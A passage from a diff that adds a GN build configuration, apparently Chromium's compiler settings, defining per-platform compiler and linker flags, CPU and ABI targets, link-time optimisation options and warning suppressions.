+        cflags += [ "-fstack-protector" ]
+      }
+    } else if (is_posix && !is_chromeos && !is_nacl) {
+      # TODO(phajdan.jr): Use -fstack-protector-strong when our gcc supports it.
+      # See also https://crbug.com/533294
+      cflags += [ "--param=ssp-buffer-size=4" ]
+
+      # The x86 toolchain currently has problems with stack-protector.
+      if (is_android && current_cpu == "x86") {
+        cflags += [ "-fno-stack-protector" ]
+      } else {
+        cflags += [ "-fstack-protector" ]
+      }
+    }
+
+    # Linker warnings.
+    if (fatal_linker_warnings && !(is_chromeos && current_cpu == "arm") &&
+        !(is_android && use_order_profiling) && !is_mac && !is_ios) {
+      # TODO(jochen): Enable this on chromeos on arm. http://crbug.com/356580
+      # TODO(lizeb,pasko): Fix link errors when linking with order_profiling=1
+      # crbug.com/485542
+      ldflags += [ "-Wl,--fatal-warnings" ]
+    }
+  }
+
+  if (is_clang && is_debug) {
+    # Allow comparing the address of references and 'this' against 0
+    # in debug builds. Technically, these can never be null in
+    # well-defined C/C++ and Clang can optimize such checks away in
+    # release builds, but they may be used in asserts in debug builds.
+    cflags_cc += [
+      "-Wno-undefined-bool-conversion",
+      "-Wno-tautological-undefined-compare",
+    ]
+  }
+
+  if (is_clang && !is_nacl) {
+    # This is here so that all files get recompiled after a clang roll and
+    # when turning clang on or off. (defines are passed via the command line,
+    # and build system rebuild things when their commandline changes). Nothing
+    # should ever read this define.
+    defines += [ "CR_CLANG_REVISION=$clang_revision" ]
+  }
+
+  # Non-Mac Posix compiler flags setup.
+  # -----------------------------------
+  if (is_posix && !(is_mac || is_ios)) {
+    if (enable_profiling) {
+      if (!is_debug) {
+        cflags += [ "-g" ]
+
+        if (enable_full_stack_frames_for_profiling) {
+          cflags += [
+            "-fno-inline",
+            "-fno-optimize-sibling-calls",
+          ]
+        }
+      }
+    }
+
+    defines += [ "_FILE_OFFSET_BITS=64" ]
+
+    if (!is_android) {
+      defines += [
+        "_LARGEFILE_SOURCE",
+        "_LARGEFILE64_SOURCE",
+      ]
+    }
+
+    if (!is_nacl) {
+      if (exclude_unwind_tables) {
+        cflags += [
+          "-fno-unwind-tables",
+          "-fno-asynchronous-unwind-tables",
+        ]
+        defines += [ "NO_UNWIND_TABLES" ]
+      } else {
+        cflags += [ "-funwind-tables" ]
+      }
+    }
+  }
+
+  # Linux/Android common flags setup.
+  # ---------------------------------
+  if (is_linux || is_android) {
+    cflags += [
+      "-fPIC",
+      "-pipe",  # Use pipes for communicating between sub-processes. Faster.
+    ]
+
+    ldflags += [
+      "-fPIC",
+      "-Wl,-z,noexecstack",
+      "-Wl,-z,now",
+      "-Wl,-z,relro",
+    ]
+    if (!using_sanitizer) {
+      if (!use_cfi_diag) {
+        ldflags += [ "-Wl,-z,defs" ]
+      }
+
+      # Functions interposed by the sanitizers can make ld think
+      # that some libraries aren't needed when they actually are,
+      # http://crbug.com/234010. As workaround, disable --as-needed.
+      if (!is_nacl && !is_android) {
+        # TODO(pcc): Fix linker bug which requires us to link pthread
+        # unconditionally here (crbug.com/623236).
+        ldflags += [
+          "-Wl,--no-as-needed",
+          "-lpthread",
+        ]
+      }
+      ldflags += [ "-Wl,--as-needed" ]
+    }
+  }
+
+  # Linux-specific compiler flags setup.
+  # ------------------------------------
+  if (is_android && is_clang) {
+    _rebased_android_toolchain_root =
+        rebase_path(android_toolchain_root, root_build_dir)
+
+    # Let clang find the linker in the NDK.
+    ldflags += [ "--gcc-toolchain=$_rebased_android_toolchain_root" ]
+  }
+
+  if (is_posix && use_lld && !is_nacl) {
+    ldflags += [ "-fuse-ld=lld" ]
+  } else if (use_gold) {
+    ldflags += [ "-fuse-ld=gold" ]
+    if (is_android) {
+      # Use -mstackrealign due to a bug on ia32 Jelly Bean.
+      # See crbug.com/521527
+      if (current_cpu == "x86") {
+        cflags += [ "-mstackrealign" ]
+      }
+    } else {
+      # On Android, this isn't needed.  gcc in the NDK knows to look next to
+      # it with -fuse-ld=gold, and clang gets a --gcc-toolchain flag passed
+      # above.
+      ldflags += [ "-B$gold_path" ]
+
+      if (linux_use_bundled_binutils) {
+        ldflags += [
+          # Experimentation found that using four linking threads
+          # saved ~20% of link time.
+          # https://groups.google.com/a/chromium.org/group/chromium-dev/browse_thread/thread/281527606915bb36
+          # Only apply this to the target linker, since the host
+          # linker might not be gold, but isn't used much anyway.
+          "-Wl,--threads",
+          "-Wl,--thread-count=4",
+        ]
+      }
+    }
+
+    if (gdb_index) {
+      ldflags += [ "-Wl,--gdb-index" ]
+    }
+
+    # TODO(thestig): Make this flag work with GN.
+    #if (!is_official_build && !is_chromeos && !(is_asan || is_lsan || is_tsan || is_msan)) {
+    #  ldflags += [
+    #    "-Wl,--detect-odr-violations",
+    #  ]
+    #}
+  } else if (linux_use_bundled_binutils) {
+    # Gold is the default linker for the bundled binutils so we explicitly
+    # enable the bfd linker when use_gold is not set.
+    ldflags += [ "-fuse-ld=bfd" ]
+  }
+
+  if (is_posix && (use_gold || (use_lld && !is_nacl)) && !using_sanitizer &&
+      !(is_android && use_order_profiling)) {
+    # TODO(crbug.com/576197) - gcc on x86 platforms + gold + icf=all
+    # doesn't currently work on non-chromeos platforms.
+    # Additionally, on Android x86 --icf=safe seems to cause issues as well.
+    # Additionally, on cast Android x86, --icf=all causes issues.
+    if (is_android && current_cpu == "x86") {
+      ldflags += [ "-Wl,--icf=none" ]
+    } else if ((is_clang && !is_android) || is_chromeos ||
+               (current_cpu != "x86" && current_cpu != "x64")) {
+      # TODO(thakis): Remove `!is_android` above once our gold has been rolled
+      # with the fix for https://sourceware.org/bugzilla/show_bug.cgi?id=17704
+      # merged.  See also https://crbug.com/663886
+      ldflags += [ "-Wl,--icf=all" ]
+    } else if (!is_android || is_clang) {
+      ldflags += [ "-Wl,--icf=safe" ]
+    }
+  }
+
+  if (linux_use_bundled_binutils) {
+    cflags += [ "-B$binutils_path" ]
+  }
+
+  # Clang-specific compiler flags setup.
+  # ------------------------------------
+  if (is_clang) {
+    cflags += [ "-fcolor-diagnostics" ]
+  }
+
+  # Print absolute paths in diagnostics. There is no precedent for doing this
+  # on Linux/Mac (GCC doesn't support it), but MSVC does this with /FC and
+  # Windows developers rely on it (crbug.com/636109) so only do this on Windows.
+  if (is_clang && is_win) {
+    cflags += [ "-fdiagnostics-absolute-paths" ]
+  }
+
+  # Makes builds independent of absolute file path.
+  # clang-cl (used if is_win) doesn't expose this flag.
+  # Currently disabled for nacl since its toolchain lacks this flag (too old).
+  # TODO(zforman): Once nacl's toolchain is updated, remove check.
+  if (is_clang && is_linux) {
+    absolute_path = rebase_path("//.")
+    cflags += [ "-fdebug-prefix-map=$absolute_path=." ]
+  }
+
+  # C++11 compiler flags setup.
+  # ---------------------------
+  if (is_linux || is_android || (is_nacl && is_clang)) {
+    # gnu++11 instead of c++11 is needed because some code uses typeof() (a
+    # GNU extension).
+    # TODO(thakis): Eventually switch this to c++11 instead,
+    # http://crbug.com/427584
+    cflags_cc += [ "-std=gnu++11" ]
+  } else if (!is_win && !is_nacl) {
+    # TODO(mcgrathr) - the NaCl GCC toolchain doesn't support either gnu++11
+    # or c++11; we technically don't need this toolchain any more, but there
+    # are still a few buildbots using it, so until those are turned off
+    # we need the !is_nacl clause and the (is_nacl && is_clang) clause, above.
+    cflags_cc += [ "-std=c++11" ]
+  }
+
+  if (is_mac) {
+    cflags_cc += [ "-stdlib=libc++" ]
+    ldflags += [ "-stdlib=libc++" ]
+  }
+
+  # Add flags for link-time optimization. These flags enable
+  # optimizations/transformations that require whole-program visibility at link
+  # time, so they need to be applied to all translation units, and we may end up
+  # with miscompiles if only part of the program is compiled with LTO flags. For
+  # that reason, we cannot allow targets to enable or disable these flags, for
+  # example by disabling the optimize configuration.
+  # TODO(pcc): Make this conditional on is_official_build rather than on gn
+  # flags for specific features.
+  if (!is_debug && (allow_posix_link_time_opt || is_cfi) && !is_nacl) {
+    if (use_thin_lto) {
+      cflags += [ "-flto=thin" ]
+      ldflags += [ "-flto=thin" ]
+
+      # Limit the parallelism to avoid too agressive competition between
+      # linker jobs. This is still suboptimal to a potential dynamic
+      # resource allocation scheme, but should be good enough.
+      if (use_lld) {
+        ldflags += [ "-Wl,--thinlto-jobs=8" ]
+      } else {
+        ldflags += [ "-Wl,-plugin-opt,jobs=8" ]
+      }
+    } else {
+      # Note: ThinLTO does not currently have this feature implemented
+      # For Full LTO, it provides a measurable runtime speedup of Chrome.
+      cflags += [
+        "-flto",
+        "-fwhole-program-vtables",
+      ]
+      ldflags += [
+        "-flto",
+        "-fwhole-program-vtables",
+      ]
+
+      # Apply a lower LTO optimization level as the default is too slow.
+      if (is_linux) {
+        if (use_lld) {
+          ldflags += [ "-Wl,--lto-O1" ]
+        } else {
+          ldflags += [ "-Wl,-plugin-opt,O1" ]
+        }
+      } else if (is_mac) {
+        ldflags += [ "-Wl,-mllvm,-O1" ]
+      }
+    }
+
+    # Work-around for http://openradar.appspot.com/20356002
+    if (is_mac) {
+      ldflags += [ "-Wl,-all_load" ]
+    }
+
+    # Allows the linker to apply ICF to the LTO object file. Also, when
+    # targeting ARM, without this flag, LTO produces a .text section that is
+    # larger than the maximum call displacement, preventing the linker from
+    # relocating calls (http://llvm.org/PR22999).
+    if (is_linux) {
+      ldflags += [ "-Wl,-plugin-opt,-function-sections" ]
+    }
+  }
+
+  # Pass the same C/C++ flags to the objective C/C++ compiler.
+  cflags_objc += cflags_c
+  cflags_objcc += cflags_cc
+
+  # Assign any flags set for the C compiler to asmflags so that they are sent
+  # to the assembler. The Windows assembler takes different types of flags
+  # so only do so for posix platforms.
+  if (is_posix) {
+    asmflags += cflags
+    asmflags += cflags_c
+  }
+}
+
+# This is separate from :compiler (and not even a sub-config there)
+# so that some targets can remove it from the list with:
+#   configs -= [ "//build/config/compiler:pthread" ]
+config("pthread") {
+  if (is_linux) {
+    cflags = [ "-pthread" ]
+    ldflags = [ "-pthread" ]
+  }
+}
+
+# This provides the basic options to select the target CPU and ABI.
+# It is factored out of "compiler" so that special cases can use this
+# without using everything that "compiler" brings in.  Options that
+# tweak code generation for a particular CPU do not belong here!
+# See "compiler_codegen", below.
+config("compiler_cpu_abi") {
+  cflags = []
+  ldflags = []
+
+  if (is_posix && !(is_mac || is_ios)) {
+    # CPU architecture. We may or may not be doing a cross compile now, so for
+    # simplicity we always explicitly set the architecture.
+    if (current_cpu == "x64") {
+      cflags += [
+        "-m64",
+        "-march=x86-64",
+      ]
+      ldflags += [ "-m64" ]
+    } else if (current_cpu == "x86") {
+      cflags += [ "-m32" ]
+      ldflags += [ "-m32" ]
+      if (!is_nacl) {
+        cflags += [
+          "-msse2",
+          "-mfpmath=sse",
+          "-mmmx",
+        ]
+      }
+    } else if (current_cpu == "arm") {
+      if (is_clang && !is_android && !is_nacl) {
+        cflags += [ "--target=arm-linux-gnueabihf" ]
+        ldflags += [ "--target=arm-linux-gnueabihf" ]
+      }
+      if (!is_nacl) {
+        cflags += [
+          "-march=$arm_arch",
+          "-mfloat-abi=$arm_float_abi",
+        ]
+      }
+      if (arm_tune != "") {
+        cflags += [ "-mtune=$arm_tune" ]
+      }
+    } else if (current_cpu == "arm64") {
+      if (is_clang && !is_android && !is_nacl) {
+        cflags += [ "--target=aarch64-linux-gnu" ]
+        ldflags += [ "--target=aarch64-linux-gnu" ]
+      }
+    } else if (current_cpu == "mipsel" && !is_nacl) {
+      if (mips_arch_variant == "r6") {
+        if (is_clang) {
+          cflags += [
+            "--target=mipsel-linux-gnu",
+            "-march=mips32r6",
+          ]
+          ldflags += [ "--target=mipsel-linux-gnu" ]
+        } else {
+          cflags += [
+            "-mips32r6",
+            "-Wa,-mips32r6",
+          ]
+          if (is_android) {
+            ldflags += [
+              "-mips32r6",
+              "-Wl,-melf32ltsmip",
+            ]
+          }
+        }
+        if (mips_use_msa == true) {
+          cflags += [
+            "-mmsa",
+            "-mfp64",
+          ]
+        }
+      } else if (mips_arch_variant == "r2") {
+        if (is_clang) {
+          if (is_android) {
+            cflags += [
+              "--target=mipsel-linux-android",
+              "-march=mipsel",
+              "-mcpu=mips32r2",
+            ]
+            ldflags += [ "--target=mipsel-linux-android" ]
+          } else {
+            cflags += [
+              "--target=mipsel-linux-gnu",
+              "-march=mipsel",
+              "-mcpu=mips32r2",
+            ]
+            ldflags += [ "--target=mipsel-linux-gnu" ]
+          }
+        } else {
+          cflags += [
+            "-mips32r2",
+            "-Wa,-mips32r2",
+          ]
+          if (mips_float_abi == "hard" && mips_fpu_mode != "") {
+            cflags += [ "-m$mips_fpu_mode" ]
+          }
+        }
+      } else if (mips_arch_variant == "r1") {
+        if (is_clang) {
+          if (is_android) {
+            cflags += [
+              "--target=mipsel-linux-android",
+              "-march=mipsel",
+              "-mcpu=mips32",
+            ]
+            ldflags += [ "--target=mipsel-linux-android" ]
+          } else {
+            cflags += [
+              "--target=mipsel-linux-gnu",
+              "-march=mipsel",
+              "-mcpu=mips32",
+            ]
+            ldflags += [ "--target=mipsel-linux-gnu" ]
+          }
+        } else {
+          cflags += [
+            "-mips32",
+            "-Wa,-mips32",
+          ]
+        }
+      }
+
+      if (mips_dsp_rev == 1) {
+        cflags += [ "-mdsp" ]
+      } else if (mips_dsp_rev == 2) {
+        cflags += [ "-mdspr2" ]
+      }
+
+      cflags += [ "-m${mips_float_abi}-float" ]
+    } else if (current_cpu == "mips64el") {
+      if (mips_arch_variant == "r6") {
+        if (is_clang) {
+          if (is_android) {
+            cflags += [
+              "--target=mips64el-linux-android",
+              "-march=mips64el",
+              "-mcpu=mips64r6",
+            ]
+            ldflags += [ "--target=mips64el-linux-android" ]
+          }
+        } else {
+          cflags += [
+            "-mips64r6",
+            "-Wa,-mips64r6",
+          ]
+          ldflags += [ "-mips64r6" ]
+        }
+        if (mips_use_msa == true) {
+          cflags += [
+            "-mmsa",
+            "-mfp64",
+          ]
+        }
+      } else if (mips_arch_variant == "r2") {
+        cflags += [
+          "-mips64r2",
+          "-Wa,-mips64r2",
+        ]
+        ldflags += [ "-mips64r2" ]
+      }
+    } else if (current_cpu == "pnacl" && is_nacl_nonsfi) {
+      if (target_cpu == "x86" || target_cpu == "x64") {
+        cflags += [
+          "-arch",
+          "x86-32-nonsfi",
+          "--pnacl-bias=x86-32-nonsfi",
+          "--target=i686-unknown-nacl",
+        ]
+        ldflags += [
+          "-arch",
+          "x86-32-nonsfi",
+          "--target=i686-unknown-nacl",
+        ]
+      } else if (target_cpu == "arm") {
+        cflags += [
+          "-arch",
+          "arm-nonsfi",
+          "-mfloat-abi=hard",
+          "--pnacl-bias=arm-nonsfi",
+          "--target=armv7-unknown-nacl-gnueabihf",
+        ]
+        ldflags += [
+          "-arch",
+          "arm-nonsfi",
+          "--target=armv7-unknown-nacl-gnueabihf",
+        ]
+      }
+    }
+  }
+
+  asmflags = cflags
+}
+
+# This provides options to tweak code generation that are necessary
+# for particular Chromium code or for working around particular
+# compiler bugs (or the combination of the two).
+config("compiler_codegen") {
+  configs = []
+  cflags = []
+
+  if (is_nacl) {
+    configs += [ "//build/config/nacl:compiler_codegen" ]
+  } else if (is_posix && !is_mac && !is_ios) {
+    if (current_cpu == "x86") {
+      if (is_clang) {
+        cflags += [
+          # Else building libyuv gives clang's register allocator issues,
+          # see llvm.org/PR15798 / crbug.com/233709
+          "-momit-leaf-frame-pointer",
+        ]
+      }
+    } else if (current_cpu == "arm") {
+      if (is_android && !is_clang) {
+        # Clang doesn't support these flags.
+        cflags += [
+          # The tree-sra optimization (scalar replacement for
+          # aggregates enabling subsequent optimizations) leads to
+          # invalid code generation when using the Android NDK's
+          # compiler (r5-r7). This can be verified using
+          # webkit_unit_tests' WTF.Checked_int8_t test.
+          "-fno-tree-sra",
+
+          # The following option is disabled to improve binary
+          # size and performance in gcc 4.9.
+          "-fno-caller-saves",
+        ]
+      }
+    }
+  }
+
+  asmflags = cflags
+}
+
+# This is separate from :compiler_codegen (and not even a sub-config there)
+# so that some targets can remove it from the list with:
+#   configs -= [ "//build/config/compiler:clang_stackrealign" ]
+# See https://crbug.com/556393 for details of where it must be avoided.
+config("clang_stackrealign") {
+  if (is_clang && current_cpu == "x86" && is_linux) {
+    cflags = [
+      # Align the stack on 16-byte boundaries, http://crbug.com/418554.
+      "-mstack-alignment=16",
+      "-mstackrealign",
+    ]
+  }
+}
+
+config("compiler_arm_fpu") {
+  if (current_cpu == "arm" && !is_ios && !is_nacl) {
+    cflags = [ "-mfpu=$arm_fpu" ]
+    asmflags = cflags
+  }
+}
+
+config("compiler_arm_thumb") {
+  if (current_cpu == "arm" && arm_use_thumb && is_posix &&
+      !(is_mac || is_ios || is_nacl)) {
+    cflags = [ "-mthumb" ]
+    if (is_android && !is_clang) {
+      # Clang doesn't support this option.
+      cflags += [ "-mthumb-interwork" ]
+    }
+  }
+}
+
+config("compiler_arm") {
+  if (current_cpu == "arm" && is_chromeos) {
+    # arm is normally the default mode for clang, but on chromeos a wrapper
+    # is used to pass -mthumb, and therefor change the default.
+    cflags = [ "-marm" ]
+  }
+}
+
+# runtime_library -------------------------------------------------------------
+#
+# Sets the runtime library and associated options.
+#
+# How do you determine what should go in here vs. "compiler" above? Consider if
+# a target might choose to use a different runtime library (ignore for a moment
+# if this is possible or reasonable on your system). If such a target would want
+# to change or remove your option, put it in the runtime_library config. If a
+# target wants the option regardless, put it in the compiler config.
+
+config("runtime_library") {
+  defines = []
+  configs = []
+
+  # System-specific flags. If your compiler flags apply to one of the
+  # categories here, add it to the associated file to keep this shared config
+  # smaller.
+  if (is_win) {
+    configs += [ "//build/config/win:runtime_library" ]
+  } else if (is_linux) {
+    configs += [ "//build/config/linux:runtime_library" ]
+  } else if (is_ios) {
+    configs += [ "//build/config/ios:runtime_library" ]
+  } else if (is_mac) {
+    configs += [ "//build/config/mac:runtime_library" ]
+  } else if (is_android) {
+    configs += [ "//build/config/android:runtime_library" ]
+  }
+
+  if (is_posix) {
+    configs += [ "//build/config/posix:runtime_library" ]
+  }
+
+  if (is_component_build) {
+    defines += [ "COMPONENT_BUILD" ]
+  }
+}
+
+# default_warnings ------------------------------------------------------------
+#
+# Collects all warning flags that are used by default.  This is used as a
+# subconfig of both chromium_code and no_chromium_code.  This way these
+# flags are guaranteed to appear on the compile command line after -Wall.
+config("default_warnings") {
+  cflags = []
+  cflags_cc = []
+
+  if (is_win) {
+    if (treat_warnings_as_errors) {
+      cflags += [ "/WX" ]
+    }
+
+    cflags += [
+      # Warnings permanently disabled:
+
+      # C4091: 'typedef ': ignored on left of 'X' when no variable is
+      #                    declared.
+      # This happens in a number of Windows headers. Dumb.
+      "/wd4091",
+
+      # C4127: conditional expression is constant
+      # This warning can in theory catch dead code and other problems, but
+      # triggers in far too many desirable cases where the conditional
+      # expression is either set by macros or corresponds some legitimate
+      # compile-time constant expression (due to constant template args,
+      # conditionals comparing the sizes of different types, etc.).  Some of
+      # these can be worked around, but it's not worth it.
+      "/wd4127",
+
+      # C4251: 'identifier' : class 'type' needs to have dll-interface to be
+      #        used by clients of class 'type2'
+      # This is necessary for the shared library build.
+      "/wd4251",
+
+      # C4351: new behavior: elements of array 'array' will be default
+      #        initialized
+      # This is a silly "warning" that basically just alerts you that the
+      # compiler is going to actually follow the language spec like it's
+      # supposed to, instead of not following it like old buggy versions did.
+      # There's absolutely no reason to turn this on.
+      "/wd4351",
+
+      # C4355: 'this': used in base member initializer list
+      # It's commonly useful to pass |this| to objects in a class' initializer
+      # list.  While this warning can catch real bugs, most of the time the
+      # constructors in question don't attempt to call methods on the passed-in
+      # pointer (until later), and annotating every legit usage of this is
+      # simply more hassle than the warning is worth.
+      "/wd4355",
+
+      # C4503: 'identifier': decorated name length exceeded, name was
+      #        truncated
+      # This only means that some long error messages might have truncated
+      # identifiers in the presence of lots of templates.  It has no effect on
+      # program correctness and there's no real reason to waste time trying to
+      # prevent it.
+      "/wd4503",
+
+      # Warning C4589 says: "Constructor of abstract class ignores
+      # initializer for virtual base class." Disable this warning because it
+      # is flaky in VS 2015 RTM. It triggers on compiler generated
+      # copy-constructors in some cases.
+      "/wd4589",
+
+      # C4611: interaction between 'function' and C++ object destruction is
+      #        non-portable
+      # This warning is unavoidable when using e.g. setjmp/longjmp.  MSDN
+      # suggests using exceptions instead of setjmp/longjmp for C++, but
+      # Chromium code compiles without exception support.  We therefore have to
+      # use setjmp/longjmp for e.g. JPEG decode error handling, which means we
+      # have to turn off this warning (and be careful about how object
+      # destruction happens in such cases).
+      "/wd4611",
+
+      # Warnings to evaluate and possibly fix/reenable later:
+
+      "/wd4100",  # Unreferenced formal function parameter.
+      "/wd4121",  # Alignment of a member was sensitive to packing.
+      "/wd4244",  # Conversion: possible loss of data.
+      "/wd4505",  # Unreferenced local function has been removed.
+      "/wd4510",  # Default constructor could not be generated.
+      "/wd4512",  # Assignment operator could not be generated.
+      "/wd4610",  # Class can never be instantiated, constructor required.
+      "/wd4838",  # Narrowing conversion. Doesn't seem to be very useful.
+      "/wd4995",  # 'X': name was marked as #pragma deprecated
+      "/wd4996",  # Deprecated function warning.
+
+      # These are variable shadowing warnings that are new in VS2015. We
+      # should work through these at some point -- they may be removed from
+      # the RTM release in the /W4 set.
+      "/wd4456",
+      "/wd4457",
+      "/wd4458",
+      "/wd4459",
+    ]
+
+    cflags += [
+      # C4312 is a VS 2015 64-bit warning for integer to larger pointer.
+      # TODO(brucedawson): fix warnings, crbug.com/554200
+      "/wd4312",
+    ]
+
+    if (current_cpu == "x86") {
+      cflags += [
+        # VC++ 2015 changes 32-bit size_t truncation warnings from 4244 to
+        # 4267. Example: short TruncTest(size_t x) { return x; }
+        # Since we disable 4244 we need to disable 4267 during migration.
+        # TODO(jschuh): crbug.com/167187 fix size_t to int truncations.
+        "/wd4267",
+      ]
+    }
+
+    # VS xtree header file needs to be patched or 4702 (unreachable code
+    # warning) is reported if _HAS_EXCEPTIONS=0. Disable the warning if xtree is
+    # not patched.
+    if (!msvs_xtree_patched &&
+        exec_script("../../win_is_xtree_patched.py", [], "value") == 0) {
+      cflags += [ "/wd4702" ]  # Unreachable code.
+    }
+
+    # Building with Clang on Windows is a work in progress and very
+    # experimental. See crbug.com/82385.
+    if (is_clang) {
+      cflags += [
+        # TODO(hans): Make this list shorter eventually, http://crbug.com/504657
+        "-Wno-microsoft-enum-value",  # http://crbug.com/505296
+        "-Wno-unknown-pragmas",  # http://crbug.com/505314
+        "-Wno-microsoft-cast",  # http://crbug.com/550065
+      ]
+    }
+  } else {
+    if (is_mac && !is_nacl) {
+      # When compiling Objective-C, warns if a method is used whose
+      # availability is newer than the deployment target. This is not
+      # required when compiling Chrome for iOS.
+      cflags += [ "-Wpartial-availability" ]
+    }
+
+    # Suppress warnings about ABI changes on ARM (Clang doesn't give this
+    # warning).
+    if (current_cpu == "arm" && !is_clang) {
+      cflags += [ "-Wno-psabi" ]
+    }
+
+    if (!is_clang) {
+      cflags_cc += [
+        # See comment for -Wno-c++11-narrowing.
+        "-Wno-narrowing",
+      ]
+
+      # Don't warn about the "typedef 'foo' locally defined but not used"
+      # for gcc 4.8.
+      # TODO: remove this flag once all builds work. See crbug.com/227506
+      cflags += [ "-Wno-unused-local-typedefs" ]
+
+      # Don't warn about "maybe" uninitialized. Clang doesn't include this
+      # in -Wall but gcc does, and it gives false positives.
+      cflags += [ "-Wno-maybe-uninitialized" ]
+    }
+  }
+
+  # Common Clang and GCC warning setup.
+  if (!is_win || is_clang) {
+    cflags += [
+      # Disables.
+      "-Wno-missing-field-initializers",  # "struct foo f = {0};"
+      "-Wno-unused-parameter",  # Unused function parameters.
+    ]
+  }
+
+  if (is_chromeos) {
+    # TODO(thakis): Remove, http://crbug.com/263960
+    if (is_clang) {
+      cflags_cc += [ "-Wno-reserved-user-defined-literal" ]
+    } else {
+      cflags_cc += [ "-Wno-literal-suffix" ]
+    }
+  }
+
+  if (is_clang) {
+    cflags += [
+      # TODO(thakis): Consider -Wloop-analysis (turns on
+      # -Wrange-loop-analysis too).
+
+      # This warns on using ints as initializers for floats in
+      # initializer lists (e.g. |int a = f(); CGSize s = { a, a };|),
+      # which happens in several places in chrome code. Not sure if
+      # this is worth fixing.
+      "-Wno-c++11-narrowing",
+
+      # Warns on switches on enums that cover all enum values but
+      # also contain a default: branch. Chrome is full of that.
+      "-Wno-covered-switch-default",
+
+      # Clang considers the `register` keyword as deprecated, but e.g.
+      # code generated by flex (used in angle) contains that keyword.
+      # http://crbug.com/255186
+      "-Wno-deprecated-register",
+
+      # TODO(thakis): This used to be implied by -Wno-unused-function,
+      # which we no longer use. Check if it makes sense to remove
+      # this as well. http://crbug.com/316352
+      "-Wno-unneeded-internal-declaration",
+
+      # TODO(hans): Get this cleaned up, http://crbug.com/428099
+      "-Wno-inconsistent-missing-override",
+    ]
+
+    # Chrome's hermetic Clang compiler, NaCl's Clang compiler and Xcode's Clang
+    # compiler will almost always have different versions. Certain flags may not
+    # be recognized by one version or the other.
+    if (!is_nacl) {
+      # Flags NaCl (Clang 3.7) does not recognize.
+      cflags += [
+        # TODO(thakis): Enable this, crbug.com/507717
+        "-Wno-shift-negative-value",
+      ]
+    }
+    if (!is_nacl && !use_xcode_clang) {
+      # Flags NaCl (Clang 3.7) and Xcode 7.3 (Clang clang-703.0.31) do not
+      # recognize.
+      cflags += [
+        # TODO(thakis): https://crbug.com/604888
+        "-Wno-undefined-var-template",
+
+        # TODO(thakis): https://crbug.com/617318
+        "-Wno-nonportable-include-path",
+
+        # TODO(hans): https://crbug.com/637306
+        "-Wno-address-of-packed-member",
+      ]
+    }
+  }
+}
+
+# chromium_code ---------------------------------------------------------------
+#
+# Toggles between higher and lower warnings for code that is (or isn't)
+# part of Chromium.
+
+config("chromium_code") {
+  if (is_win) {
+    cflags = [ "/W4" ]  # Warning level 4.
+
+    # Assume UTF-8 by default to avoid code page dependencies.
+    cflags += [ "/utf-8" ]
+  } else {
+    cflags = [ "-Wall" ]
+    if (treat_warnings_as_errors) {
+      cflags += [ "-Werror" ]
+
+      # The compiler driver can sometimes (rarely) emit warnings before calling
+      # the actual linker.  Make sure these warnings are treated as errors as
+      # well.
+      ldflags = [ "-Werror" ]
+    }
+    if (is_clang) {
+      # Enable -Wextra for chromium_code when we control the compiler.
+      cflags += [ "-Wextra" ]
+    }
+
+    # In Chromium code, we define __STDC_foo_MACROS in order to get the
+    # C99 macros on Mac and Linux.
+    defines = [
+      "__STDC_CONSTANT_MACROS",
+      "__STDC_FORMAT_MACROS",
+    ]
+
+    if (!is_debug && !using_sanitizer &&
+        (!is_linux || !is_clang || is_official_build)) {
+      # _FORTIFY_SOURCE isn't really supported by Clang now, see
+      # http://llvm.org/bugs/show_bug.cgi?id=16821.
+      # It seems to work fine with Ubuntu 12 headers though, so use it in
+      # official builds.
+      #
+      # Non-chromium code is not guaranteed to compile cleanly with
+      # _FORTIFY_SOURCE. Also, fortified build may fail when optimizations are
+      # disabled, so only do that for Release build.
+      defines += [ "_FORTIFY_SOURCE=2" ]
+    }
+
+    if (is_mac || is_ios) {
+      cflags_objc = [ "-Wobjc-missing-property-synthesis" ]
+      cflags_objcc = [ "-Wobjc-missing-property-synthesis" ]
+    }
+  }
+
+  configs = [ ":default_warnings" ]
+}
+
+config("no_chromium_code") {
+  cflags = []
+  cflags_cc = []
+  defines = []
+
+  if (is_win) {
+    cflags += [
+      "/W3",  # Warning level 3.
+      "/wd4800",  # Disable warning when forcing value to bool.
+      "/wd4267",  # TODO(jschuh): size_t to int.
+      "/wd4996",  # Deprecated function warning.
+    ]
+    defines += [
+      "_CRT_NONSTDC_NO_WARNINGS",
+      "_CRT_NONSTDC_NO_DEPRECATE",
+    ]
+  } else {
+    # GCC may emit unsuppressible warnings so don't add -Werror for no chromium
+    # code. crbug.com/589724
+    if (treat_warnings_as_errors && is_clang) {
+      cflags += [ "-Werror" ]
+      ldflags = [ "-Werror" ]
+    }
+    if (is_clang && !is_nacl) {
+      # TODO(thakis): Remove !is_nacl once
+      # https://codereview.webrtc.org/1552863002/ made its way into chromium.
+      cflags += [ "-Wall" ]
+    }
+  }
+
+  if (is_clang) {
+    cflags += [
+      # Lots of third-party libraries have unused variables. Instead of
+      # suppressing them individually, we just blanket suppress them here.
+      "-Wno-unused-variable",
+    ]
+  }
+
+  if (is_linux || is_android) {
+    cflags_cc += [
+      # Don't warn about hash_map in third-party code.
+      "-Wno-deprecated",
+    ]
+  }
+
+  configs = [ ":default_warnings" ]
+}
+
+# rtti ------------------------------------------------------------------------
+#
+# Allows turning Run-Time Type Identification on or off.
+
+config("rtti") {
+  if (is_win) {
+    cflags_cc = [ "/GR" ]
+  } else {
+    cflags_cc = [ "-frtti" ]
+  }
+}
+config("no_rtti") {
+  # CFI diagnostics and UBsan vptr require RTTI.
+  if (!use_cfi_diag && !is_ubsan_vptr && !is_ubsan_security) {
+    if (is_win) {
+      cflags_cc = [ "/GR-" ]
+    } else {
+      cflags_cc = [ "-fno-rtti" ]
+      cflags_objcc = cflags_cc
+    }
+  }
+}
+
+# Warnings ---------------------------------------------------------------------
+
+# This will generate warnings when using Clang if code generates exit-time
+# destructors, which will slow down closing the program.
+# TODO(thakis): Make this a blacklist instead, http://crbug.com/101600
+config("wexit_time_destructors") {
+  # TODO: Enable on Windows too, http://crbug.com/404525
+  if (is_clang && !is_win) {
+    cflags = [ "-Wexit-time-destructors" ]
+  }
+}
+
+# On Windows compiling on x64, VC will issue a warning when converting
+# size_t to int because it will truncate the value. Our code should not have
+# these warnings and one should use a static_cast or a checked_cast for the
+# conversion depending on the case. However, a lot of code still needs to be
+# fixed. Apply this config to such targets to disable the warning.
+#
+# Note that this can be applied regardless of platform and architecture to
+# clean up the call sites. This will only apply the flag when necessary.
+#
+# TODO(jschuh): crbug.com/167187 fix this and delete this config.
+config("no_size_t_to_int_warning") {
